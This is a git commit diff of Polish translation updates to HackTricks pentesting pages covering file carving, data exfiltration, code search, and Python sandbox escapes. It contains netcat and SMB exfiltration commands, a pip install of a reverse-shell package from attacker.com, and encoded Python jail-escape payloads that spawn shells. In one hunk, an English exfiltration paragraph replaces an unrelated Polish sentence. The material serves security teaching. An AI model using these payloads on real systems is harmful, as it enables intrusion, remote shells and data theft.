mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
Translated ['forensics/basic-forensic-methodology/partitions-file-system
This commit is contained in:
parent
72199d4c80
commit
0655101aa4
47 changed files with 1174 additions and 1213 deletions
|
@ -7,16 +7,16 @@
|
|||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -43,7 +43,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
|||
```
|
||||
### Foremost
|
||||
|
||||
Innym powszechnie używanym narzędziem do znajdowania ukrytych plików jest **foremost**. Konfigurację foremost można znaleźć w pliku `/etc/foremost.conf`. Jeśli chcesz wyszukać określone pliki, odkomentuj je. Jeśli nic nie odkomentujesz, foremost będzie przeszukiwał domyślnie skonfigurowane typy plików.
|
||||
Innym powszechnie stosowanym narzędziem do znajdowania ukrytych plików jest **foremost**. Konfigurację foremost można znaleźć w pliku `/etc/foremost.conf`. Jeśli chcesz wyszukać określone pliki, odkomentuj je. Jeśli nic nie odkomentujesz, foremost będzie przeszukiwał domyślnie skonfigurowane typy plików.
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
|
@ -78,10 +78,10 @@ Sprawdź [kod](https://code.google.com/archive/p/binvis/) oraz [narzędzie na st
|
|||
|
||||
#### Funkcje BinVis
|
||||
|
||||
* Wizualizator **struktury** plików
|
||||
* Wizualizator **struktury** z aktywnym podglądem
|
||||
* Wiele wykresów dla różnych punktów skupienia
|
||||
* Skupienie na fragmentach próbki
|
||||
* **Wykrywanie ciągów znaków i zasobów**, w plikach wykonywalnych PE lub ELF, np.
|
||||
* **Widzenie ciągów i zasobów**, w plikach wykonywalnych PE lub ELF, np.
|
||||
* Uzyskiwanie **wzorców** do kryptografii plików
|
||||
* **Wykrywanie** algorytmów pakowania lub kodowania
|
||||
* **Identyfikacja** steganografii poprzez wzorce
|
||||
|
@ -104,7 +104,7 @@ Możesz użyć narzędzia wiersza poleceń systemu Linux **pdftotext**, aby prze
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -10,13 +10,13 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -185,7 +185,19 @@ guest ok = Yes
|
|||
#Start samba
|
||||
service smbd restart
|
||||
```
|
||||
Windows to system operacyjny stworzony przez firmę Microsoft. Jest powszechnie używany na komputerach osobistych i serwerach.
|
||||
### Exfiltration
|
||||
|
||||
Exfiltration is the unauthorized transfer of data from a target. There are various methods to exfiltrate data from a compromised system. Some common exfiltration methods include:
|
||||
|
||||
- **Email**: Sending data as email attachments.
|
||||
- **FTP**: Transferring data using File Transfer Protocol.
|
||||
- **HTTP/HTTPS**: Sending data over HTTP or HTTPS protocols.
|
||||
- **DNS**: Sending data using DNS queries.
|
||||
- **Cloud Storage**: Uploading data to cloud storage services.
|
||||
- **External Drives**: Copying data to external drives like USB flash drives.
|
||||
- **Steganography**: Hiding data within other files to avoid detection.
|
||||
|
||||
It is essential for attackers to choose exfiltration methods carefully to avoid detection and successfully transfer the stolen data.
|
||||
```bash
|
||||
CMD-Wind> \\10.10.14.14\path\to\exe
|
||||
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
|
||||
|
@ -209,13 +221,7 @@ sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP addre
|
|||
```
|
||||
## NC
|
||||
|
||||
NC (Netcat) jest potężnym narzędziem do tworzenia połączeń sieciowych wiersza poleceń. Może być używany do przesyłania danych z jednego komputera na drugi poprzez port TCP lub UDP. Może być również używany do nasłuchiwania portów na maszynie zdalnej, co czyni go przydatnym narzędziem do eksfiltracji danych. Aby użyć NC do przesłania pliku na zdalny serwer, możesz użyć polecenia:
|
||||
|
||||
```bash
|
||||
nc <adres_ip> <port> < plik
|
||||
```
|
||||
|
||||
Gdzie `<adres_ip>` i `<port>` to adres IP i numer portu serwera zdalnego, a `plik` to nazwa pliku, który chcesz przesłać.
|
||||
NC (Netcat) jest potężnym narzędziem do tworzenia połączeń sieciowych wiersza poleceń. Może być używany do przesyłania danych z jednego komputera na drugi poprzez sieć. Może być również wykorzystywany do otwierania portów na zdalnym komputerze, co umożliwia atakującemu uzyskanie dostępu do systemu ofiary. Jako narzędzie wielofunkcyjne, NC jest często wykorzystywane podczas testów penetracyjnych do exfiltracji danych z systemów ofiar.
|
||||
```bash
|
||||
nc -lvnp 4444 > new_file
|
||||
nc -vn <IP> 4444 < exfil_file
|
||||
|
@ -288,7 +294,7 @@ echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', '
|
|||
```
|
||||
## VBScript
|
||||
|
||||
Visual Basic Scripting Edition (VBScript) jest językiem skryptowym stworzonym przez Microsoft. Może być używany do tworzenia skryptów w systemach Windows. VBScript może być wykorzystywany do exfiltracji danych poprzez różne metody, takie jak wysyłanie danych na zdalny serwer za pomocą protokołów HTTP lub FTP.
|
||||
Visual Basic Scripting Edition (VBScript) jest językiem skryptowym stworzonym przez Microsoft. Może być używany do tworzenia skryptów do automatyzacji zadań w systemach Windows. VBScript może być wykorzystywany do exfiltracji danych poprzez różne techniki, takie jak wysyłanie danych przez HTTP lub FTP.
|
||||
```bash
|
||||
Attacker> python -m SimpleHTTPServer 80
|
||||
```
|
||||
|
@ -342,7 +348,7 @@ Następnie skopiuj tekst i wklej go do okna powłoki systemu Windows, a zostanie
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -356,6 +362,6 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -10,26 +10,26 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
Celem tej strony jest wyliczenie **platform umożliwiających wyszukiwanie kodu** (literalnie lub za pomocą wyrażeń regularnych) w tysiącach/milionach repozytoriów na jednej lub kilku platformach.
|
||||
Celem tej strony jest wyliczenie **platform umożliwiających wyszukiwanie kodu** (literalnie lub za pomocą wyrażeń regularnych) w tysiącach/milionach repozytoriów na jednej lub więcej platformach.
|
||||
|
||||
Pomaga to w kilku sytuacjach, takich jak **wyszukiwanie wyciekłych informacji** lub wzorców **podatności**.
|
||||
|
||||
* [**SourceGraph**](https://sourcegraph.com/search): Wyszukiwanie w milionach repozytoriów. Istnieje wersja darmowa i wersja enterprise (z 15-dniowym okresem próbnym). Obsługuje wyrażenia regularne.
|
||||
* [**Github Search**](https://github.com/search): Wyszukiwanie w serwisie Github. Obsługuje wyrażenia regularne.
|
||||
* [**Github Search**](https://github.com/search): Wyszukiwanie na Githubie. Obsługuje wyrażenia regularne.
|
||||
* Być może przydatne będzie również sprawdzenie [**Github Code Search**](https://cs.github.com/).
|
||||
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Wyszukiwanie w projektach Gitlab. Obsługuje wyrażenia regularne.
|
||||
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Wyszukiwanie w projektach Gitlaba. Obsługuje wyrażenia regularne.
|
||||
* [**SearchCode**](https://searchcode.com/): Wyszukiwanie kodu w milionach projektów.
|
||||
|
||||
{% hint style="warning" %}
|
||||
|
@ -38,7 +38,7 @@ Gdy szukasz wycieków w repozytorium i uruchamiasz coś w stylu `git log -p`, ni
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -52,6 +52,6 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,24 +9,24 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
Oto kilka sztuczek, które pozwalają ominąć zabezpieczenia piaskownic Pythona i wykonać dowolne polecenia.
|
||||
Oto kilka sztuczek, które pozwalają ominąć zabezpieczenia piaskownic Pythona i wykonywać dowolne polecenia.
|
||||
|
||||
## Biblioteki do Wykonywania Poleceń
|
||||
|
||||
Pierwszą rzeczą, którą musisz wiedzieć, jest to, czy możesz bezpośrednio wykonać kod za pomocą już zaimportowanej biblioteki, lub czy możesz zaimportować którąś z tych bibliotek:
|
||||
Pierwszą rzeczą, którą musisz wiedzieć, jest to, czy możesz bezpośrednio wykonywać kod za pomocą już zaimportowanej biblioteki, lub czy możesz zaimportować którąkolwiek z tych bibliotek:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
|
@ -75,7 +75,7 @@ Python próbuje **ładować biblioteki z bieżącego katalogu najpierw** (nastę
|
|||
|
||||
Możesz znaleźć **listę preinstalowanych** pakietów tutaj: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Zauważ, że z pickle możesz sprawić, że środowisko Pythona **importuje dowolne biblioteki** zainstalowane w systemie.\
|
||||
Na przykład poniższy pickle, po załadowaniu, spowoduje import biblioteki pip w celu jej użycia:
|
||||
Na przykład poniższy pickle, po załadowaniu, spowoduje import biblioteki pip, aby ją użyć:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
#however, the victim doesn't even need to have the library installed to execute it
|
||||
|
@ -99,12 +99,12 @@ Jeśli masz dostęp do `pip` lub `pip.main()`, możesz zainstalować dowolny pak
|
|||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
Możesz pobrać pakiet do tworzenia odwróconego powłoki tutaj. Proszę zauważyć, że przed użyciem go powinieneś **rozpakować, zmienić plik `setup.py`, i podać swój adres IP dla odwróconej powłoki**:
|
||||
Możesz pobrać pakiet do tworzenia odwróconego powłoki tutaj. Zauważ, że przed użyciem go powinieneś **rozpakować, zmienić plik `setup.py`, i wpisać swój adres IP dla odwróconej powłoki**:
|
||||
|
||||
{% file src="../../../.gitbook/assets/reverse.tar.gz" %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Ten pakiet nazywa się `Reverse`. Jednak został specjalnie przygotowany tak, że gdy opuścisz odwróconą powłokę, reszta instalacji zakończy się niepowodzeniem, dzięki czemu **nie pozostanie żaden dodatkowy pakiet Pythona zainstalowany na serwerze** po twoim wyjściu.
|
||||
Ten pakiet nazywa się `Reverse`. Jednak został specjalnie przygotowany tak, że gdy opuścisz odwróconą powłokę, reszta instalacji zakończy się niepowodzeniem, dzięki czemu **nie pozostanie żaden dodatkowy pakiet Pythona zainstalowany na serwerze** po opuszczeniu.
|
||||
{% endhint %}
|
||||
|
||||
## Evalowanie kodu Pythona
|
||||
|
@ -113,7 +113,7 @@ Ten pakiet nazywa się `Reverse`. Jednak został specjalnie przygotowany tak, ż
|
|||
Zauważ, że exec pozwala na wieloliniowe ciągi znaków i ";", ale eval nie (sprawdź operator walrus)
|
||||
{% endhint %}
|
||||
|
||||
Jeśli pewne znaki są zabronione, możesz użyć reprezentacji **szesnastkowej/ósemkowej/B64**, aby **obejść** ograniczenie:
|
||||
Jeśli pewne znaki są zabronione, możesz użyć reprezentacji **szesnastkowej/ósemkowej/B64** aby **obejść** ograniczenie:
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
|
@ -134,7 +134,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
|
|||
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
||||
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
||||
```
|
||||
### Inne biblioteki pozwalające na ocenienie kodu Pythona
|
||||
### Inne biblioteki pozwalające na ocenę kodu Pythona
|
||||
```python
|
||||
#Pandas
|
||||
import pandas as pd
|
||||
|
@ -157,9 +157,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
|||
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||||
```
|
||||
## Ominięcie zabezpieczeń poprzez kodowania (UTF-7)
|
||||
## Omijanie zabezpieczeń za pomocą kodowań (UTF-7)
|
||||
|
||||
W [**tym opisie**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 jest używane do wczytania i wykonania dowolnego kodu Pythona w pozornym sandboxie:
|
||||
W [**tym opracowaniu**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 jest używane do wczytania i wykonania dowolnego kodu Pythona w pozornym sandboxie:
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
|
@ -172,11 +172,11 @@ return x
|
|||
```
|
||||
Możliwe jest również obejście tego za pomocą innych kodowań, np. `raw_unicode_escape` i `unicode_escape`.
|
||||
|
||||
## Wykonywanie kodu w Pythonie bez wywołań
|
||||
## Wykonanie Pythona bez wywołań
|
||||
|
||||
Jeśli znajdujesz się w więzieniu Pythona, które **nie pozwala na wykonywanie wywołań**, istnieją nadal pewne sposoby na **wykonywanie arbitralnych funkcji, kodu** i **komend**.
|
||||
Jeśli znajdujesz się w więzieniu Pythona, które **nie pozwala na wykonywanie wywołań**, istnieją nadal sposoby na **wykonywanie arbitralnych funkcji, kodu** i **komend**.
|
||||
|
||||
### RCE z [dekoratorami](https://docs.python.org/3/glossary.html#term-decorator)
|
||||
### RCE za pomocą [dekoratorów](https://docs.python.org/3/glossary.html#term-decorator)
|
||||
```python
|
||||
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
||||
@exec
|
||||
|
@ -200,7 +200,7 @@ class _:pass
|
|||
```
|
||||
### RCE tworzenie obiektów i przeciążanie
|
||||
|
||||
Jeśli możesz **zadeklarować klasę** i **utworzyć obiekt** tej klasy, możesz **napisać/nadpisać różne metody**, które mogą być **wywołane** **bez** **konieczności bezpośredniego ich wywoływania**.
|
||||
Jeśli możesz **zadeklarować klasę** i **utworzyć obiekt** tej klasy, możesz **napisać/nadpisać różne metody**, które mogą być **wywołane** **bez konieczności bezpośredniego ich wywoływania**.
|
||||
|
||||
#### RCE z niestandardowymi klasami
|
||||
|
||||
|
@ -256,7 +256,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
|
|||
```
|
||||
#### Tworzenie obiektów za pomocą [metaklas](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
|
||||
Kluczową możliwością, jaką dają nam metaklasy, jest **utworzenie instancji klasy bez bezpośredniego wywoływania konstruktora**, poprzez utworzenie nowej klasy z docelową klasą jako metaklasą.
|
||||
Kluczową rzeczą, którą metaklasy pozwalają nam zrobić, jest **utworzenie instancji klasy, bez bezpośredniego wywoływania konstruktora**, poprzez utworzenie nowej klasy z docelową klasą jako metaklasą.
|
||||
```python
|
||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||
# This will define the members of the "subclass"
|
||||
|
@ -273,7 +273,7 @@ Sub['import os; os.system("sh")']
|
|||
```
|
||||
#### Tworzenie obiektów za pomocą wyjątków
|
||||
|
||||
Kiedy **wyjątek zostanie wywołany**, obiekt **Exception** jest **tworzony** bez konieczności bezpośredniego wywoływania konstruktora (sztuczka od [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)):
|
||||
Kiedy **wyjątek jest wywołany**, obiekt **Exception** jest **tworzony** bez konieczności bezpośredniego wywoływania konstruktora (sztuczka od [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)):
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
|
@ -329,17 +329,17 @@ pass
|
|||
* [**Funkcje wbudowane w Pythonie 2**](https://docs.python.org/2/library/functions.html)
|
||||
* [**Funkcje wbudowane w Pythonie 3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
Jeśli masz dostęp do obiektu **`__builtins__`**, możesz importować biblioteki (zauważ, że możesz również użyć innej reprezentacji ciągu znaków pokazanej w ostatniej sekcji):
|
||||
Jeśli masz dostęp do obiektu **`__builtins__`**, możesz importować biblioteki (zauważ, że możesz również użyć tutaj innej reprezentacji ciągu znaków pokazanej w ostatniej sekcji):
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
```
|
||||
### Brak wbudowanych funkcji
|
||||
|
||||
Gdy nie masz `__builtins__`, nie będziesz w stanie importować niczego ani nawet czytać ani pisać plików, ponieważ **wszystkie funkcje globalne** (takie jak `open`, `import`, `print`...) **nie są załadowane**.\
|
||||
Jednak **domyślnie python importuje wiele modułów do pamięci**. Te moduły mogą wydawać się nieszkodliwe, ale niektóre z nich **również importują niebezpieczne** funkcjonalności wewnątrz nich, do których można uzyskać nawet **wykonanie dowolnego kodu**.
|
||||
Kiedy nie masz `__builtins__`, nie będziesz w stanie importować niczego ani nawet czytać ani pisać plików, ponieważ **wszystkie funkcje globalne** (takie jak `open`, `import`, `print`...) **nie są załadowane**.\
|
||||
Jednakże, **domyślnie python importuje wiele modułów do pamięci**. Te moduły mogą wydawać się nieszkodliwe, ale niektóre z nich **również importują niebezpieczne** funkcjonalności wewnątrz nich, do których można uzyskać dostęp nawet w celu **wykonania dowolnego kodu**.
|
||||
|
||||
W poniższych przykładach możesz zobaczyć, jak **nadużyć** niektórych tych "**nieszkodliwych**" załadowanych modułów, aby **uzyskać dostęp** do **niebezpiecznych** **funkcjonalności** wewnątrz nich.
|
||||
W poniższych przykładach możesz zobaczyć, jak **nadużyć** niektórych tych "**nieszkodliwych**" modułów załadowanych, aby uzyskać dostęp do **niebezpiecznych** **funkcjonalności** wewnątrz nich.
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
|
@ -401,7 +401,7 @@ __builtins__["__import__"]("os").system("ls")
|
|||
```
|
||||
## Zmienne globalne i lokalne
|
||||
|
||||
Sprawdzenie **`globals`** i **`locals`** to dobry sposób na sprawdzenie, do czego masz dostęp.
|
||||
Sprawdzenie **`globals`** i **`locals`** to dobry sposób, aby wiedzieć, do czego masz dostęp.
|
||||
```python
|
||||
>>> globals()
|
||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||
|
@ -433,7 +433,7 @@ Tutaj chcę wyjaśnić, jak łatwo odkryć **bardziej niebezpieczne funkcjonalno
|
|||
|
||||
#### Dostęp do podklas za pomocą bypassów
|
||||
|
||||
Jednym z najbardziej wrażliwych elementów tej techniki jest możliwość **dostępu do podklas bazowych**. W poprzednich przykładach było to realizowane za pomocą `''.__class__.__base__.__subclasses__()`, ale istnieją **inne możliwe sposoby**:
|
||||
Jedną z najbardziej wrażliwych części tej techniki jest możliwość **dostępu do podklas bazowych**. W poprzednich przykładach było to realizowane za pomocą `''.__class__.__base__.__subclasses__()`, ale istnieją **inne możliwe sposoby**:
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
|
@ -472,7 +472,7 @@ Jest wiele, a **potrzebujemy tylko jednego**, aby wykonywać polecenia:
|
|||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
Możemy zrobić to samo z **innymi bibliotekami**, które wiemy, że mogą być użyte do **wykonywania poleceń**:
|
||||
Możemy zrobić to samo z **innymi bibliotekami**, które wiemy, że mogą być używane do **wykonywania poleceń**:
|
||||
```python
|
||||
#os
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
